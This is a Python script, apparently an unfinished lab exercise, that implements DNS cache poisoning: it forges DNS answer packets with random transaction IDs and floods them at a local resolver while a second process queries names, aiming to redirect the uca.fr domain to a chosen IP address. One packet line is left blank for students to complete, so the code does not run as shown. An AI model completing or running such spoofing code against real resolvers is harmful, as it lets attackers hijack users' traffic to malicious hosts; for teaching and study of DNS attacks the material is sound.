#!/usr/bin/python3

import multiprocessing
import socket
import random
import time
from dns import resolver

HEADER_SIZE = 12


class RecordType:
    """DNS Record TYPE"""
    A = b"\x00\x01"
    NS = b"\x00\x02"
    CNAME = b"\x00\x05"
    CLASS_IN = b"\x00\x01"


class Encoder:
    """Encode utilites function"""

    @staticmethod
    def encode_question_entry(name: bytes, type: bytes, qclass: bytes) -> bytes:
        """Encode entry question section"""
        return Encoder.encode_name(name) + type + qclass

    @staticmethod
    def encode_response_entry(name: bytes, type: bytes, qclass: bytes, ttl: int, rdata: bytes):
        """Encode  entry response section"""
        return (name
                + type
                + qclass
                + ttl.to_bytes(length=4, byteorder="big")
                + len(rdata).to_bytes(length=2, byteorder="big")
                + rdata)

    @staticmethod
    def encode_name_pointer(offset_since_start: int):
        """Encode name pointer"""
        # Note: this wrongly assumes that offset <= 255
        return bytes((0xC0, offset_since_start))

    @staticmethod
    def encode_name(name: bytes) -> bytes:
        """a domain name represented as a sequence of labels, where
                    each label consists of a length octet followed by that
                    number of octets."""
        # https://datatracker.ietf.org/doc/html/rfc1035#section-4.1.2
        encoded = b""

        for component in name.split(b'.'):
            # Chaque composant est précédé par sa longueur en octet encodé sur 1 octet
            encoded += len(component).to_bytes(length=1, signed=False)
            # Contenu
            encoded += component

        # Fin du nom
        encoded += b'\x00'

        return encoded

    @staticmethod
    def encode_header(response: bool, opcode: int, authoritative: bool, truncated: bool, rec_d: bool, rec_a: bool, rcode: int, questions: int, answers: int, authorities: int, additional: int):
        flags = [0, 0]
        if response:
            flags[0] |= 0x80
        flags[0] |= (opcode & 0x0F) << 3
        if authoritative:
            flags[0] |= 0x04
        if truncated:
            flags[0] |= 0x02
        if rec_d:
            flags[0] |= 0x01

        if rec_a:
            flags[1] |= 0x80
        flags[1] |= rcode & 0x0F

        # header = tid.to_bytes(length=2, byteorder="big")
        header = bytes(flags)
        header += questions.to_bytes(length=2, byteorder="big")
        header += answers.to_bytes(length=2, byteorder="big")
        header += authorities.to_bytes(length=2, byteorder="big")
        header += additional.to_bytes(length=2, byteorder="big")

        return header


class DNSServer:
    """Represent a DNS Server"""

    def __init__(self, ip: str, port: int, query_port: int):
        self._ip: str = ip
        self._port: int = port
        self._query_port: int = query_port

    @property
    def ip(self) -> str:
        return self._ip

    @property
    def port(self) -> int:
        return self._port

    @property
    def query_port(self) -> int:
        return self._query_port


class Request:
    def __init__(self, dns: DNSServer):
        self._dns: DNSServer = dns

    def post(self, pipe, spoofed_name_server: str, address: bytes):
        spoofed_name_server_encoded: bytes = spoofed_name_server.encode()
        sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        name_server_encoded: bytes = pipe.recv()

        while True:
            packet_body = Encoder.encode_header(
                True, 0, False, False, True, True, 0, 1, 2, 0, 0)
            packet_body += Encoder.encode_question_entry(
                name_server_encoded, RecordType.A, RecordType.CLASS_IN)
            packet_body += #à completer

            while not pipe.poll():
                transaction_id = random.randbytes(2)

                sok.sendto(transaction_id + packet_body,
                        (self._dns.ip, self._dns.query_port,))
                
            name_server_encoded = pipe.recv()


    def get(self, pipe, name_server: str):
        resolve = resolver.Resolver()
        resolve.nameservers = [self._dns.ip]
        resolve.port = self._dns.port

        while True:
            pipe.send(name_server.encode())
            time.sleep(1)
            
            try:
                res = resolve.resolve(name_server)
                print("Found", res.response.answer)
            except resolver.NXDOMAIN:
                print("Not found")
            except resolver.LifetimeTimeout:
                print("empty / timeout")
            except resolver.NoAnswer:
                print("No answer")


dns = DNSServer(ip="127.0.0.1", port=7654, query_port=6969)
req = Request(dns)
cpt = 0
while True:
    new_address = bytes((37, 187, 116, 58))
    domain = "uca.fr"
    spoofed_sub_domain = "random"
    spoofed_domain = spoofed_sub_domain + "." + domain

    parent, child = multiprocessing.Pipe()

    p = multiprocessing.Process(target=req.post, args=(child, spoofed_domain, new_address))
    p.start()

    req.get(parent, domain)

    p.join()